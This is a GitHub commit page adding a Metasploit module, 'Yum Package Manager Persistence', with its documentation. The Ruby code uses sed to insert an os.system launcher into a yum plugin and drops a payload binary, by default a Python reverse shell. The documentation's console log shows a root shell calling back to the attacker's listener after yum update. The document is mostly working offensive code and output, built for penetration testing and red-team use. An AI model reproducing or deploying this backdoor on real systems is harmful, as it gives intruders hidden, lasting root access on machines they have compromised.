Skip to content

Commit

Permalink
Land #11673, Add yum persistence module
Browse files Browse the repository at this point in the history
  • Loading branch information
jrobles-r7 authored and msjenkins-r7 committed Apr 30, 2019
1 parent fc2d475 commit c2322a9
Show file tree
Hide file tree
Showing 2 changed files with 214 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
## Description

This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. Module modifies a yum plugin to
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
will show what plugins are currently enabled on the system.

## Verification Steps

1. Exploit a box that uses Yum
2. `use linux/local/yum_package_manager_persistence`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
5. `exploit`

When the system runs yum update the payload will launch. You must set handler accordingly.

## Options

**BACKDOOR_NAME**
Name of backdoor executable

**PLUGIN**
Name of the yum plugin to target

**WritableDir**
Writable directory for backdoor default is (/usr/local/bin/)

**PluginPath**
Plugin path to use default is (/usr/lib/yum-plugins/)

## Scenarios

### Tested on Fedora 21

```
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135)
msf5 exploit(linux/local/yum_package_manager_persistence) > set session 1
session => 1
msf5 exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks
plugin => langpacks
msf5 exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136
lhost => 172.22.222.136
msf5 exploit(linux/local/yum_package_manager_persistence) > exploit
[*] /usr/lib/yum-plugins/langpacks.py
[+] Plugins are enabled!
[*] Attempting to modify plugin
[*] Backdoor uploaded to /usr/local/bin/z9fJTx2wVg
[*] Backdoor will run on next Yum update
msf5 exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135)
2 shell cmd/unix 172.22.222.136:4444 -> 172.22.222.135:43791 (172.22.222.135)
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions -i 2
[*] Starting interaction with 2...
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 172.22.222.135 - Command shell session 2 closed.
msf5 exploit(linux/local/yum_package_manager_persistence) >
```

Note: Session 2 is received after running yum update on the remote host.
130 changes: 130 additions & 0 deletions modules/exploits/linux/local/yum_package_manager_persistence.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,130 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::System

def initialize(info = {})
super(update_info(info,
'Name' => 'Yum Package Manager Persistence',
'Description' => %q(
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. Module modifies a yum plugin to
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
will show what plugins are currently enabled on the system.
),
'License' => MSF_LICENSE,
'Author' => ['Aaron Ringo'],
'Platform' => ['linux', 'unix'],
'Arch' =>
[
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' => {
'WfsDelay' => 0, 'DisablePayloadHandler' => 'true',
'Payload' => 'cmd/unix/reverse_python'
},
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))

register_options(
[
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
])

register_advanced_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),
OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])
])
end

def exploit
# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
plugin = datastore['PLUGIN']
full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
print_status(full_plugin_path)
unless writable? full_plugin_path
fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
end

# /etc/yum.conf must contain plugins=1 for plugins to run at all
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
unless plugins_enabled.include? 'plugins=1'
fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
end
print_good('Plugins are enabled!')

# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
unless plugin_enabled.include? 'enabled=1'
print_bad("#{plugin_conf} plugin is not configured to run")
fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
end

# plugins are made in python and generate pycs on successful execution
unless exist? "#{full_plugin_path}c"
print_warning('Either Yum has never been executed, or the selected plugin has not run')
end

# check for write in backdoor path and set/generate backdoor name
backdoor_path = datastore['WritableDir']
unless writable? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
end
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
backdoor_path << backdoor_name

# check that the plugin contains an import os, to backdoor
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
unless import_os_check.include? 'import os'
fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
end

# check for sed binary and then append launcher to plugin underneath
print_status('Attempting to modify plugin')
launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
sed_path = cmd_exec "command -v sed"
unless sed_path.include?('sed')
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
end
sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
cmd_exec sed_line

# actually write users payload to be executed then check for write
if payload.arch.first == 'cmd'
write_file(backdoor_path, payload.encoded)
else
write_file(backdoor_path, generate_payload_exe)
end
unless exist? backdoor_path
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
end

# change perms to reflect bins in /usr/local/bin/, give good feels
chmod(backdoor_path, 0755)
print_status("Backdoor uploaded to #{backdoor_path}")
print_status('Backdoor will run on next Yum update')
end
end

0 comments on commit c2322a9

Please sign in to comment.